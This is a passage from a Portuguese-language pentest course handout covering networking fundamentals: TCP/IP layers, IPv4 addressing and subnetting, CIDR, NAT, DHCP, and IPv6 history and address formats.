• Formatação de dados

• Rotinas de compressão

• Compatibilização de aplicações: sintaxe

• Criptografia

1.2.7 Camada 7 - Aplicação

É responsável pela interface com as aplicações dos computadores (hosts). Entre ascategorias de processos de aplicação podemos citar:

• Correio eletrônico: X400

• Transferência de arquivos: FTAM

• Serviço de diretório: X500

• Processamento de transações: TP

PenTest - Segurança Hacker Página 8

Linux Force – www.linuxforce.com.br Conceitos Básicos de Redes de Computadores

• Terminal virtual: VT

• Acesso à banco de dados: RDA

• Gerência de rede

1.3 Arquitetura TCP/IP

A arquitetura TCP/IP é composta por 4 camadas (formando a pilha da estrutura doprotocolo) compare o as camadas TCP/IP com o Modelo OSI:

1.3.1 Camada Fisica e de Enlace

Esta camada também é conhecida como camada de Acesso à Rede.

A função da camada Acesso à Rede é prover uma interface entre a camada Rede eos elementos físicos da rede.

PenTest - Segurança Hacker Página 9

Linux Force – www.linuxforce.com.br Conceitos Básicos de Redes de Computadores

A camada inferior da arquitetura TCP/IP tem as funcionalidades referentes às cama-das 1 e 2 do Modelo OSI.

1.3.2 Camada de Rede

A camada Rede, também conhecida como de Internet ou Internetwork, é equivalentea camada 3, de Rede, do Modelo OSI. camada.

A função da camada Internet é prover a conectividade lógica realizando a comutaçãode pacotes, ou roteamento, de forma a encontrar o melhor caminho para a transmitirpacotes, datagramas, através da rede.

Os protocolos principais desta camada são:

• IP (Internet Protocol)

• ICMP (Internet Control Message Protocol) (popular ping)

• ARP (Address Resolution Protocol)

• RARP (Reverse Address Resolution Protocol)

1.3.3 Camada de Transporte

A principal função da camada de transporte é prover uma comunicação fim-a-fimentre as aplicações de origem e destino, de forma transparente para as camadasadjacentes.

O nome dado à PDU (Protocol Data Unit) desta camada é segmento.

Ela é equivalente à camada 4 do Modelo OSI. Seus dois principais protocolos são oTCP e o UDP.

O TCP (Transmission Control Protocol) é um protocolo orientado a conexão. Forneceum serviço confiável, com garantia de entrega dos dados.

Suas principais funções são:

• Compatibilidade do tamanho dos segmentos

PenTest - Segurança Hacker Página 10

Linux Force – www.linuxforce.com.br Conceitos Básicos de Redes de Computadores

• Confiabilidade da integridade dos dados

• Multiplexação

• Seqüenciamento

• Controle de fluxo

• Janelamento

O UDP (User Datagram Protocol) é um protocolo não orientado a conexão. Forneceum serviço, não confiável, sem garantia de entrega dos dados. Um datagrama podese perder, sofrer atrasos, ser duplicado ou ser entregue fora de seqüência. Nãoexecuta nenhum mecanismo de controle e nem envia mensagens de erro.

1.3.4 Camada de Aplicação

A camada de Aplicação tem a função de prover uma interface entre os programas deusuários (aplicativos) e as redes de comunicação de dados

A camada de Aplicação é equivalente às camadas 5, 6 e 7 do Modelo OSI. Os pro-tocolos mais conhecidos são:

• HTTP – HyperText Transfer Protocol - protocolo responsável pela comunicaçãovia páginas WWW (World Wide Web) ou, simplesmente, Web. Por um programanavegador (browser), usando o protocolo HTTP, um usuário pode acessar in-formações contidas em um servidor Web.

• FTP – File Transfer Protocol – protocolo responsável pela transferência de ar-quivos entre computadores.

• Telnet – Terminal de acesso remoto – protocolo que permite o acesso a umequipamento distante. Permite que possamos dar comando e rodar aplicaçõesremotamente.

• DNS – Domain Name System – aplicação responsável pela tradução de ende-reços IP em nomes e vice-versa.

• SMTP – Simple Mail Transfer Protocol – protocolo responsável pelo armazena-mento e envio de e-mails (Eletronic Mail - Correio Eletrônico).

PenTest - Segurança Hacker Página 11

Linux Force – www.linuxforce.com.br Conceitos Básicos de Redes de Computadores

1.4 Endereçamento IPv4

No IPV4, os endereço IP são compostos por 4 blocos de 8 bits (32 bits no total),que são representados através de números de 0 a 255, como "200.156.23.43"ou"64.245.32.11".

Conforme a RFC 1918 as faixas de endereços começadas com "10", com "192.168"ou com de "172.16" até "172.31" são reservadas para uso em redes locais e por issonão são usados na internet. Os roteadores que compõe a grande rede são configura-dos para ignorar estes pacotes, de forma que as inúmeras redes locais que utilizamendereços na faixa "192.168.0.x"(por exemplo) podem conviver pacificamente.

Para saber mais sobre este assundo consulte http://tools.ietf.org/html/rfc1918

Embora aparentem ser uma coisa só, os endereços IP incluem duas informações.O endereço da rede e o endereço do host dentro dela. Em uma rede domés-tica, por exemplo, você poderia utilizar os endereços "192.168.1.1", "192.168.1.2"e"192.168.1.3", onde o "192.168.1."é o endereço da rede (e por isso não muda) e oúltimo número (1, 2 e 3) identifica os três micros que fazem parte dela.

Os micros da rede local podem acessar a internet através de um roteador, que podeser tanto um servidor com duas placas de rede, quando um modem ADSL ou outrodispositivo que ofereça a opção de compartilhar a conexão. Neste caso, o roteadorpassa a ser o gateway da rede e utiliza seu endereço IP válido para encaminhar asrequisições feitas pelos micros da rede interna. Este recurso é chamado de NAT(Network Address Translation).

Endereços de 32 bits permitem cerca de 4 bilhões de endereços diferentes. Osendereços são divididos em:

O grande problema é que os endereços são sempre divididos em duas partes, redee host. Nos endereços de classe A, o primeiro octeto se refere à rede e os três octe-

PenTest - Segurança Hacker Página 12

Linux Force – www.linuxforce.com.br Conceitos Básicos de Redes de Computadores

tos seguintes referem-se ao host. Temos apenas 126 faixas de endereços classe Adisponíveis no mundo, dadas a governos, instituições e até mesmo algumas empre-sas privadas, como por exemplo a IBM. As faixas de endereços classe A consomemcerca de metade dos endereços IP disponíveis, representando um gigantesco des-perdício, já que nenhuma das faixas é completamente utilizada. Será que a IBMutiliza todos os 16 milhões de endereços IP a que tem direito? Certamente não.

Mesmo nos endereços classe B (dois octetos para a rede, dois para o host, garan-tindo 65536 endereços) e nos classe C (três octetos para a rede e um para o host,ou seja, apenas 256 endereços) o desperdício é muito grande. Muitas empresasalugam faixas de endereços classe C para utilizar apenas dois ou três endereços porexemplo.

Para piorar, parte dos endereços estão reservados para as classes D e E, que jamaisforam implementadas. Isto faz com que já haja uma grande falta de endereços,principalmente os de classe A e B, que já estão todos ocupados.

Para saber mais sobre a alocação dos endereços IPV4 visitehttp://www.iana.org/assignments/ipv4-address-space/ipv4-address-space.xml

1.4.1 Máscara de rede

A máscara de rede, juntamente com o endereço IP, define a rede o computador per-tence, isto é, que outros endereços IP que o computador pode comunicar diretamentena mesma LAN.

A fim de compreender a máscara lembre-se sempre que os 4 bytes que define tanto oendereço IP e a máscara de rede poderiam ser representados em formato binário.

A máscara de rede é, por definição, uma seqüência de "1"a partir da esquerda paraa direita, seguido por um certo número de "0"(a faixa de rede). Devido a esta regraa máscara de rede é muitas vezes representada com valores decimais, que soamcomo um ou mais "255", seguido por um ou mais "0".

Utilizando máscaras de sub-rede padrão para cada classe de endereços, onde sãoutilizados oito, dezesseis ou vinte e quatro bits para a máscara de rede, conformedescrito a seguir:

PenTest - Segurança Hacker Página 13

Linux Force – www.linuxforce.com.br Conceitos Básicos de Redes de Computadores

Foi definida na RFC 1519 uma notação conhecida como CIDR (Classless Inter-Domain Routing), onde a máscara de sub-rede é indicada simplesmente pelo númerode bits utilizados na máscara de sub-rede, conforme exemplos a seguir:

Porém com este esquema de endereçamento, baseado apenas nas máscaras derede padrão para cada classe (oito, dezesseis ou vinte e quatro bits), haveria umgrande desperdício de números IP. Por exemplo, que empresa no mundo precisa-ria da faixa completa de uma rede classe A, na qual estão disponíveis mais de 16milhões de endereços IP?

Analise o outro extremo desta questão. Imagine, por exemplo, uma empresa deporte médio, que tem a matriz em São Paulo e mais cinco filiais em outras cidadesdo Brasil. Agora imagine que em nenhuma das localidades, a rede tem mais doque 30 computadores. Se for usado as máscaras de sub-rede padrão, teria que serdefinida uma rede Classe C (até 254 computadores), para cada localidade. Observeque estamos reservando 254 números IP para cada localidade (uma rede classe Ccom máscara 255.255.255.0), quando na verdade, no máximo, 30 números serãoutilizados em cada localidade. Na prática, um belo desperdício de endereços IP,mesmo em um empresa de porte médio ou pequeno.

Observe que neste exemplo, uma única rede Classe C seria suficiente. Já que sãoseis localidades (a matriz mais seis filiais), com um máximo de 30 endereços porlocalidade, um total de 254 endereços de uma rede Classe C seria mais do quesuficiente. Ainda haveria desperdício, mas agora bem menor.

A boa notícia é que é possível “dividir” uma rede (qualquer rede) em sub-redes, ondecada sub-rede fica apenas com uma faixa de números IP de toda a faixa original.

PenTest - Segurança Hacker Página 14

Linux Force – www.linuxforce.com.br Conceitos Básicos de Redes de Computadores

Por exemplo, a rede Classe C 200.100.100.0/255.255.255.0, com 256 números IPsdisponíveis (na prática são 254 números que podem ser utilizados, descontando oprimeiro que é o número da própria rede e o último que o endereço de broadcast,poderia ser dividida em 8 sub-redes, com 32 números IP em cada sub-rede. Oesquema a seguir ilustra este conceito:

Rede original: 256 endereços IP disponíveis: 200.100.100.0 -> 200.100.100.255 Di-visão da rede em 8 sub-redes, onde cada sub-rede fica com 32 endereços IP:

Sub-rede 01: 200.100.100.0 -> 200.100.100.31

Sub-rede 02: 200.100.100.32 -> 200.100.100.63

Sub-rede 03: 200.100.100.64 -> 200.100.100.95

Sub-rede 04: 200.100.100.96 -> 200.100.100.127

Sub-rede 05: 200.100.100.128 -> 200.100.100.159

Sub-rede 06: 200.100.100.160 -> 200.100.100.191

Sub-rede 07: 200.100.100.192 -> 200.100.100.223

Sub-rede 08: 200.100.100.224 -> 200.100.100.255

Para o exemplo da empresa com seis localidades (matriz mais cinco filiais), onde,no máximo, são necessários trinta endereços IP por localidade, a utilização de umaúnica rede classe C, dividida em 8 sub-redes seria a solução ideal. Na prática aprimeira e a última sub-rede são descartadas, pois o primeiro IP da primeira sub-rede representa o endereço de rede e o último IP da última sub-rede representa oendereço de broadcast. Com isso restariam, ainda, seis sub-redes. Exatamente aquantia necessária para o exemplo proposto. Observe que ao invés de seis redesclasse C, bastou uma única rede Classe C, subdividida em seis sub-redes. Uma belaeconomia de endereços. Claro que se um dos escritórios, ou a matriz, precisasse demais de 32 endereços IP, um esquema diferente de divisão teria que ser criado.

Em 1990, já existiam 313.000 hosts conectados a rede e estudos já apontavam paraum colapso devido a falta de endereços. Além disso outros problemas tambémtornavam-se mais efetivos conforme a Internet evoluía, como o aumento da tabelade roteamento.

Devido ao ritmo de crescimento da Internet e da política de distribuição de endereços,em maio de 1992, 38% das faixas de endereços classe A, 43% da classe B e 2% da

PenTest - Segurança Hacker Página 15

Linux Force – www.linuxforce.com.br Conceitos Básicos de Redes de Computadores

classe C, já estavam alocados. Nesta época, a rede já possuía 1.136.000 hostsconectados.

Em 1993, com a criação do protocolo HTTP e a liberação por parte do Governo dosEstados Unidos para a utilização comercial da Internet, houve um salto ainda maiorna taxa de crescimento da rede, que passou de 2.056.000 de hosts em 1993 paramais de 26.000.000 de hosts em 1997.

Diante desse cenário, a IETF (Internet Engineering Task Force) passa a discutir es-tratégias para solucionar a questão do esgotamento dos endereços IP e do aumentoda tabela de roteamento. Em função disso, em novembro de 1991, é formado o grupode trabalho ROAD (ROuting and Addressing), que apresenta como solução a estesproblemas, a utilização do CIDR (Classless Inter-domain Routing).

Definido na RFC 4632 (tornou obsoleta a RFC 1519), o CIDR tem como idéia básicao fim do uso de classes de endereços, permitindo a alocação de blocos de tamanhoapropriado a real necessidade de cada rede; e a agregação de rotas, reduzindo otamanho da tabela de roteamento. Com o CIDR os blocos são referenciados comoprefixo de redes. Por exemplo, no endereço a.b.c.d/x, os x bits mais significativosindicam o prefixo da rede. Outra forma de indicar o prefixo é através de máscaras,onde a máscara 255.0.0.0 indica um prefixo /8, 255.255.0.0 indica um /16, e assimsucessivamente.

Outra solução, apresentada na RFC 2131 (tornou obsoleta a RFC 1541), foi o pro-tocolo DHCP (Dynamic Host Configuration Protocol). Através do DHCP um host écapaz de obter um endereço IP automaticamente e adquirir informações adicionaiscomo máscara de sub-rede, endereço do roteador padrão e o endereço do servidorDNS local.

O DHCP tem sido muito utilizado por parte dos ISPs por permitir a atribuição deendereços IP temporários a seus clientes conectados. Desta forma, torna-se des-necessário obter um endereço para cada cliente, devendo-se apenas designar en-dereços dinamicamente, através de seu servidor DHCP. Este servidor terá uma listade endereços IP disponíveis, e toda vez que um novo cliente se conectar à rede, lheserá designado um desses endereço de forma arbitrária, e no momento que o clientese desconecta, o endereço é devolvido.

A NAT (Network Address Translation), foi outra técnica paliativa desenvolvida pararesolver o problema do esgotamento dos endereços IPv4. Definida na RFC 3022(tornou obsoleta a RFC 1631), tem como ideia básica permitir que, com um únicoendereço IP, ou um pequeno número deles, vários hosts possam trafegar na Internet.Dentro de uma rede, cada computador recebe um endereço IP privado único, que éutilizado para o roteamento do tráfego interno. No entanto, quando um pacote precisaser roteado para fora da rede, uma tradução de endereço é realizada, convertendo

PenTest - Segurança Hacker Página 16

Linux Force – www.linuxforce.com.br Conceitos Básicos de Redes de Computadores

endereços IP privados em endereços IP públicos globalmente únicos.

Para tornar possível este esquema, utiliza-se os três intervalos de endereços IP de-clarados como privados na RFC 1918, sendo que a única regra de utilização, é quenenhum pacote contendo estes endereços pode trafegar na Internet pública. As trêsfaixas reservadas são:

• 10.0.0.0 a 10.255.255.255 /8 (16.777.216 hosts)

• 172.16.0.0 a 172.31.255.255 /12 (1.048.576 hosts)

• 192.168.0.0 a 192.168.255.255 /16 (65.536 hosts)

A utilização da NAT mostrou-se eficiente no que diz respeito a economia de en-dereços IP, além de apresentar alguns outros aspectos positivos, como facilitar anumeração interna das redes, ocultar a topologia das redes e só permitir a entradade pacotes gerados em resposta a um pedido da rede. No entanto, o uso da NATapresenta inconvenientes que não compensam as vantagens oferecidas.

A NAT quebra o modelo fim-a-fim da Internet, não permitindo conexões diretas en-tre dois hosts, o que dificulta o funcionamento de uma série de aplicações, comoP2P, VoIP e VPNs. Outro problema é a baixa escalabilidade, pois o número de co-nexões simultâneas é limitado, além de exigir um grande poder de processamentodo dispositivo tradutor. O uso da NAT também impossibilita rastrear o caminho depacote, através de ferramentas como traceroute, por exemplo, e dificulta a utilizaçãode algumas técnicas de segurança como IPSec. Além disso, seu uso passa umafalsa sensação de segurança, pois, apesar de não permitir a entrada de pacotes nãoautorizados, a NAT não realiza nenhum tipo de filtragem ou verificação nos pacotesque passa por ela.

A imagem abaixo mostra o quanto essas medidas ajudaram a diminuir o aumento daalocação de endereço:

Embora estas soluções tenham diminuído a demanda por IPs, elas não foram sufici-entes para resolver os problemas decorrentes do crescimento da Internet. A adoção

PenTest - Segurança Hacker Página 17

Linux Force – www.linuxforce.com.br Conceitos Básicos de Redes de Computadores

dessas técnicas reduziu em apenas 14

Essas medidas, na verdade, serviram para que houvesse mais tempo para se de-senvolver uma nova versão do IP, que fosse baseada nos princípios que fizeram osucesso do IPv4, porém, que fosse capaz de suprir as falhas apresentadas por ele.

Deste modo, em dezembro de 1993 a IETF formalizou, através da RFC 1550, aspesquisas a respeito da nova versão do protocolo IP, solicitando o envio de projetose propostas para o novo protocolo. Esta foi umas das primeiras ações do grupo detrabalho da IETF denominado Internet Protocol next generation (IPng). As principaisquestões que deveriam ser abordadas na elaboração da próxima versão do protocoloIP foram:

• Escalabilidade;

• Segurança;

• Configuração e administração de rede;

• Suporte a QoS;

• Mobilidade;

• Políticas de roteamento;

• Transição.

Diversos projetos começaram a estudar os efeitos do crescimento da Internet, sendoos principais o CNAT, o IP Encaps, o Nimrod e o Simple CLNP. Destas propostassurgiram o TCP and UDP with Bigger Addresses (TUBA), que foi uma evolução doSimple CLNP, e o IP Address Encapsulation (IPAE), uma evolução do IP Encaps.Alguns meses depois foram apresentados os projetos Paul’s Internet Protocol (PIP),o Simple Internet Protocol (SIP) e o TP/IX. Uma nova versão do SIP, que englobavaalgumas funcionalidades do IPAE, foi apresentada pouco antes de agregar-se aoPIP, resultando no Simple Internet Protocol Plus (SIPP). No mesmo período, o TP/IXmudou seu nome para Common Architecture for the Internet (CATNIP).

Em janeiro de 1995, na RFC 1752 o IPng apresentou um resumo das avaliações dastrês principais propostas:

• CANTIP – foi concebido como um protocolo de convergência, para permitir aqualquer protocolo da camada de transporte ser executado sobre qualquer pro-tocolo de camada de rede, criando um ambiente comum entre os protocolos da

PenTest - Segurança Hacker Página 18

Linux Force – www.linuxforce.com.br Conceitos Básicos de Redes de Computadores

Internet, OSI e Novell;

• TUBA – sua proposta era de aumentar o espaço para endereçamento do IPv4e torná-lo mais hierárquico, buscando evitar a necessidade de se alterar osprotocolos da camada de transporte e aplicação. Pretendia uma migração sim-ples e em longo prazo, baseada na atualização dos host e servidores DNS,entretanto, sem a necessidade de encapsulamento ou tradução de pacotes, oumapeamento de endereços;

• SIPP – concebido para ser uma etapa evolutiva do IPv4, sem mudanças radi-cais e mantendo a interoperabilidade com a versão 4 do protocolo IP, forneciauma plataforma para novas funcionalidades da Internet, aumentava o espaçopara endereçamento de 32 bits para 64 bits, apresentava um nível maior de hi-erarquia e era composto por um mecanismo que permitia “alargar o endereço”chamado cluster addresses. Já possuía cabeçalhos de extensão e um campoflow para identificar o tipo de fluxo de cada pacote.

Entretanto, conforme relatado também na RFC 1752, todas as três propostas apre-sentavam problemas significativos. Deste modo, a recomendação final para o novoProtocolo Internet baseou-se em uma versão revisada do SIPP, que passou a incor-porar endereços de 128 bits, juntamente com os elementos de transição e autoconfi-guração do TUBA, o endereçamento baseado no CIDR e os cabeçalhos de extensão.O CATNIP, por ser considerado muito incompleto, foi descartado.

Após esta definição, a nova versão do Protocolo Internet passou a ser chamadooficialmente de IPv6.

1.5 IPv6

As especificações da IPv6 foram apresentadas inicialmente na RFC 1883 de dezem-bro de 1995, no entanto, em em dezembro de 1998, está RFC foi substituída pelaRFC 2460. Como principais mudanças em relação ao IPv4 destacam-se:

• Maior capacidade para endereçamento: no IPv6 o espaço para endereça-mento aumentou de 32 bits para 128 bits, permitindo: níveis mais específicosde agregação de endereços; identificar uma quantidade muito maior de dis-positivos na rede; e implementar mecanismos de autoconfiguração. A escala-bilidade do roteamento multicast também foi melhorada através da adição docampo "escopo"no endereço multicast. E um novo tipo de endereço, o anycast,foi definido;

PenTest - Segurança Hacker Página 19

Linux Force – www.linuxforce.com.br Conceitos Básicos de Redes de Computadores

• Simplificação do formato do cabeçalho: alguns campos do cabeçalho IPv4foram removidos ou tornaram-se opcionais, com o intuito de reduzir o custo doprocessamento dos pacotes nos roteadores;

• Suporte a cabeçalhos de extensão: as opções não fazem mais parte do ca-beçalho base, permitindo um roteamento mais eficaz, limites menos rigorososem relação ao tamanho e a quantidade de opções, e uma maior flexibilidadepara a introdução de novas opções no futuro;

• Capacidade de identificar fluxos de dados: foi adicionado um novo recursoque permite identificar de pacotes que pertençam a determinados tráfegos defluxos, para os quais podem ser requeridos tratamentos especiais;

• Suporte a autenticação e privacidade: foram especificados cabeçalhos deextensão capazes de fornecer mecanismos de autenticação e garantir a inte-gridade e a confidencialidade dos dados transmitidos.

1.5.1 Endereçamento

O protocolo IPv6 apresenta como principal característica e justificativa maior para oseu desenvolvimento, o aumento no espaço para endereçamento. Por isso, é impor-tante conhecermos as diferenças entre os endereços IPv4 e IPv6, saber reconhecera sintaxe dos endereços IPv6 e conhecer os tipos de endereços IPv6 existentes esuas principais características.

No IPv4, o campo do cabeçalho reservado para o endereçamento possui 32 bits.Este tamanho possibilita um máximo de 4.294.967.296 (232) endereços distintos.A época de seu desenvolvimento, está quantidade era considerada suficiente paraidentificar todos os computadores na rede e suportar o surgimento de novas sub-redes. No entanto, com o rápido crescimento da Internet, surgiu o problema daescassez dos endereços IPv4, motivando a a criação de uma nova geração do pro-tocolo IP.

O IPv6 possui um espaço para endereçamento de 128 bits, sendo possível obter340.282.366.920.938.463.463.374.607.431.768.211.456 endereços (2128). Este va-lor representa aproximadamente 79 octilhões (7,9×1028) de vezes a quantidade deendereços IPv4 e representa, também, mais de 56 octilhões (5,6×1028) de endere-ços por ser humano na Terra, considerando-se a população estimada em 6 bilhõesde habitantes.

Serão abordados os seguintes tópicos:

PenTest - Segurança Hacker Página 20

Linux Force – www.linuxforce.com.br Conceitos Básicos de Redes de Computadores

• Representação dos endereços

• Tipos de endereços IPv6

• Endereços Unicast

Identificadores de interface

Endereços Multicast

1.5.1.1 Representação dos endereços

Os 32 bits dos endereços IPv4 são divididos em quatro grupos de 8 bits cada, separa-dos por “.”, escritos com dígitos decimais. Por exemplo: 192.168.0.10. A representa-ção dos endereços IPv6, divide o endereço em oito grupos de 16 bits, separando-ospor “:”, escritos com dígitos hexadecimais (0-F). Por exemplo:

• 2001:0DB8:AD1F:25E2:CADE:CAFE:F0CA:84C1

Na representação de um endereço IPv6, é permitido utilizar tanto caracteres maiús-culos quanto minúsculos.

Além disso, regras de abreviação podem ser aplicadas para facilitar a escrita dealguns endereços muito extensos. É permitido omitir os zeros a esquerda de cadabloco de 16 bits, além de substituir uma sequência longa de zeros por “::”.

Por exemplo, o endereço 2001:0DB8:0000:0000:130F:0000:0000:140B pode serescrito como 2001:DB8:0:0:130F::140B ou 2001:DB8::130F:0:0:140B. Neste exem-plo é possível observar que a abreviação do grupo de zeros só pode ser reali-zada uma única vez, caso contrário poderá haver ambigüidades na representaçãodo endereço. Se o endereço acima fosse escrito como 2001:DB8::130F::140B,não seria possível determinar se ele corresponde a 2001:DB8:0:0:130F:0:0:140B, a2001:DB8:0:0:0:130F:0:140B ou 2001:DB8:0:130F:0:0:0:140B.

Esta abreviação pode ser feita também no fim ou no início do endereço, como ocorreem 2001:DB8:0:54:0:0:0:0 que pode ser escrito da forma 2001:DB8:0:54::.

Outra representação importante é a dos prefixos de rede. Em endereços IPv6 elacontinua sendo escrita do mesmo modo que no IPv4, utilizando a notação CIDR.Esta notação é representada da forma “endereço-IPv6/tamanho do prefixo”, onde“tamanho do prefixo” é um valor decimal que especifica a quantidade de bits contí-guos à esquerda do endereço que compreendem o prefixo. O exemplo de prefixo

PenTest - Segurança Hacker Página 21

Linux Force – www.linuxforce.com.br Conceitos Básicos de Redes de Computadores

de sub-rede apresentado a seguir indica que dos 128 bits do endereço, 64 bits sãoutilizados para identificar a sub-rede.

• Prefixo 2001:db8:3003:2::/64

• Prefixo global 2001:db8::/32

• ID da sub-rede 3003:2

Esta representação também possibilita a agregação dos endereços de forma hierár-quica, identificando a topologia da rede através de parâmetros como posição geográ-fica, provedor de acesso, identificação da rede, divisão da sub-rede, etc. Com isso,é possível diminuir o tamanho da tabela de roteamento e agilizar o encaminhamentodos pacotes.

Com relação a representação dos endereços IPv6 em URLs (Uniform Resource Lo-cators), estes agora passam a ser representados entre colchetes. Deste modo, nãohaverá ambiguidades caso seja necessário indicar o número de uma porta junta-mente com a URL. Observe os exemplos a seguir:

• http://[2001:12ff:0:4::22]/index.html

• http://[2001:12ff:0:4::22]:8080

1.5.1.2 Tipos de endereços IPv6

Existem no IPv6 três tipos de endereços definidos:

• Unicast – este tipo de endereço identifica uma única interface, de modo queum pacote enviado a um endereço unicast é entregue a uma única interface;

• Anycast – identifica um conjunto de interfaces. Um pacote encaminhado aum endereço anycast é entregue a interface pertencente a este conjunto maispróxima da origem (de acordo com distância medida pelos protocolos de rote-amento). Um endereço anycast é utilizado em comunicações de um-para-um-de-muitos.

• Multicast – também identifica um conjunto de interfaces, entretanto, um pacoteenviado a um endereço multicast é entregue a todas as interfaces associadasa esse endereço. Um endereço multicast é utilizado em comunicações de um-para-muitos.

PenTest - Segurança Hacker Página 22

Linux Force – www.linuxforce.com.br Conceitos Básicos de Redes de Computadores

Diferente do IPv4, no IPv6 não existe endereço broadcast, responsável por direcionarum pacote para todos os nós de um mesmo domínio. No IPv6, essa função foiatribuída à tipos específicos de endereços multicast.

1.5.1.2.1 Endereços Unicast - Os endereços unicast são utilizados para comuni-cação entre dois nós, por exemplo, telefones VoIPv6, computadores em uma redeprivada, etc., e sua estrutura foi definida para permitir agregações com prefixos detamanho flexível, similar ao CIDR do IPv4.

Existem alguns tipos de endereços unicast IPv6: Global Unicast; Unique-Local; eLink-Local por exemplo. Existem também alguns tipos para usos especiais, como en-dereços IPv4 mapeados em IPv6, endereço de loopback e o endereço não-especificado,entre outros.

• Global Unicast – equivalente aos endereços públicos IPv4, o endereço globalunicast é globalmente roteável e acessível na Internet IPv6. Ele é constituídopor três partes: o prefixo de roteamento global, utilizado para identificar o tama-nho do bloco atribuído a uma rede; a identificação da sub-rede, utilizada paraidentificar um enlace em uma rede; e a identificação da interface, que deveidentificar de forma única uma interface dentro de um enlace.Sua estrutura foiprojetada para utilizar os 64 bits mais a esquerda para identificação da rede e os64 bits mais a direita para identificação da interface. Portanto, exceto casos es-pecíficos, todas as sub-redes em IPv6 tem o mesmo tamanho de prefixo, 64 bits(/64), o que possibilita 264 = 18.446.744.073.709.551.616 dispositivos por sub-rede. Atualmente, está reservada para atribuição de endereços a faixa 2000::/3(001), que corresponde aos endereços de 2000:: a 3fff:ffff:ffff:ffff:ffff:ffff:ffff:ffff.Isto representa 13% do total de endereços possíveis com IPv6, o que nos per-mite criar 2.305.843.009.213.693.952 (2,3×1018) sub-redes (/64) diferentes ou35.184.372.088.832 (3,5×1013) redes /48.

• Link Local – podendo ser usado apenas no enlace específico onde a interfaceestá conectada, o endereço link local é atribuído automaticamente utilizandoo prefixo FE80::/64. Os 64 bits reservados para a identificação da interfacesão configurados utilizando o formato IEEE EUI- 64. Vale ressaltar que osroteadores não devem encaminhar para outros enlaces, pacotes que possuamcomo origem ou destino um endereço link-local

• Unique Local Address (ULA) – endereço com grande probabilidade de ser glo-balmente único, utilizado apenas para comunicações locais, geralmente dentrode um mesmo enlace ou conjunto de enlaces. Um endereço ULA não deveser roteável na Internet global.Um endereço ULA, criado utilizado um ID globaalocado pseudo-randomicamente, é composto das seguintes partes:

PenTest - Segurança Hacker Página 23

Linux Force – www.linuxforce.com.br Conceitos Básicos de Redes de Computadores

Prefixo: FC00::/7.

Flag Local (L): se o valor for 1 (FD) o prefixo é atribuído localmente. Se ovalor for 0 (FC), o prefixo deve ser atribuído por uma organização central (aindaa definir).

Identificador global: identificador de 40 bits usado para criar um prefixoglobalmente único.

Identificador da Interface: identificador da interface de 64 bits.

Deste modo, a estrutura de um endereço ULA é FDUU:UUUU:UUUU:: onde U sãoos bits do identificador único, gerado aleatoriamente por um algoritmo específico.

Sua utilização permite que qualquer enlace possua um prefixo /48 privado e únicoglobalmente. Deste modo, caso duas redes, de empresas distintas por exemplo,sejam interconectadas, provavelmente não haverá conflito de endereços ou neces-sidade de renumerar a interface que o esteja usando. Além disso, o endereço ULAé independente de provedor, podendo ser utilizado na comunicação dentro do en-lace mesmo que não haja uma conexão com a Internet. Outra vantagem, é que seuprefixo pode ser facilmente bloqueado, e caso um endereço ULA seja anunciado aci-dentalmente para fora do enlace, através de um roteador ou via DNS, não haveráconflito com outros endereços.

1.5.1.2.1.1 Identificadores de interface Os identificadores de interface (IID), utili-zados para distinguir as interfaces dentro de um enlace, devem ser únicos dentro domesmo prefixo de sub-rede. O mesmo IID pode ser usado em múltiplas interfacesem um único nó, porém, elas dever estar associadas a deferentes sub-redes.

Normalmente utiliza-se um IID de 64 bits, que pode ser obtido de diversas formas.Ele pode ser configurado manualmente, a partir do mecanismo de autoconfiguraçãostateless do IPv6, a partir de servidores DHCPv6 (stateful), ou formados a partirde uma chave pública (CGA). Estes métodos serão detalhados no decorrer destecurso.

Embora eles possam ser gerados randomicamente e de forma temporária, recomenda-se que o IID seja construído baseado no endereço MAC da interface, no formatoEUI-64.

Um IID baseado no formato EUI-64 é criado da seguinte forma:

• Caso a interface possua um endereço MAC de 64 bits (padrão EUI-64), basta

PenTest - Segurança Hacker Página 24

Linux Force – www.linuxforce.com.br Conceitos Básicos de Redes de Computadores

complementar o sétimo bit mais a esquerda (chamado de bit U/L – Universal/-Local) do endereço MAC, isto é, se for 1, será alterado para 0; se for 0, seráalterado para 1. Caso a interface utilize um endereço MAC de 48 bits (padrãoIEEE 802), primeiro adiciona-se os dígitos hexadecimais FF-FE entre o terceiroe quarto Byte do endereço MAC (transformando no padrão EUI-64), e em se-guida, o bit U/L é complementado. Por exemplo:

• Se endereço MAC da interface for:

48-1E-C9-21-85-0C

• adiciona-se os dígitos FF-FE na metade do endereço:

48-1E-C9-FF-FE-21-85-0C

• complementa-se o bit U/L:

48 = 01001000

01001000 → 01001010

01001010 = 4A

• IID = 4A-1E-C9-FF-FE-21-85-0C

Um endereço link local atribuído à essa interface seria FE80::4A1E:C9FF:FE21:850C.

1.5.1.2.1.2 Endereços especiais Existem alguns endereços IPv6 especiais utili-zados para fins específicos:

• Endereço Não-Especificado (Unspecified): é representado pelo endereço0:0:0:0:0:0:0:0 ou ::0 (equivalente ao endereço IPv4 unspecified 0.0.0.0). Elenunca deve ser atribuído a nenhum nó, indicando apenas a ausência de um en-dereço. Ele pode, por exemplo, ser utilizado no campo Endereço de Origem deum pacote IPv6 enviado por um host durante o processo de inicialização, antesque este tenha seu endereço exclusivo determinado. O endereço unspecifiednão deve ser utilizado como endereço de destino de pacotes IPv6;

• Endereço Loopback: representado pelo endereço unicast 0:0:0:0:0:0:0:1 ou::1 (equivalente ao endereço IPv4 loopback 127.0.0.1). Este endereço é utili-zado para referenciar a própria máquina, sendo muito utilizado para teste inter-nos. Este tipo de endereço não deve ser atribuído a nenhuma interface física,

PenTest - Segurança Hacker Página 25

Linux Force – www.linuxforce.com.br Conceitos Básicos de Redes de Computadores

nem usado como endereço de origem em pacotes IPv6 enviados para outrosnós. Além disso, um pacote IPv6 com um endereço loopback como destino nãopode ser enviado por um roteador IPv6, e caso um pacote recebido em uma in-terface possua um endereço loopback como destino, este deve ser descartado;

• Endereços IPv4-mapeado: representado por 0:0:0:0:0:FFFF:wxyz ou ::FFFF:wxyz,é usado para mapear um endereço IPv4 em um endereço IPv6 de 128-bit, ondewxyz representa os 32 bits do endereço IPv4, utilizando dígitos decimais. Éaplicado em técnicas de transição para que nós IPv6 e IPv4 se comuniquem.Ex. ::FFFF:192.168.100.1.

Algumas faixas de endereços também são reservadas para uso específicos:

• 2002::/16: prefixo utilizado no mecanismo de transição 6to4;

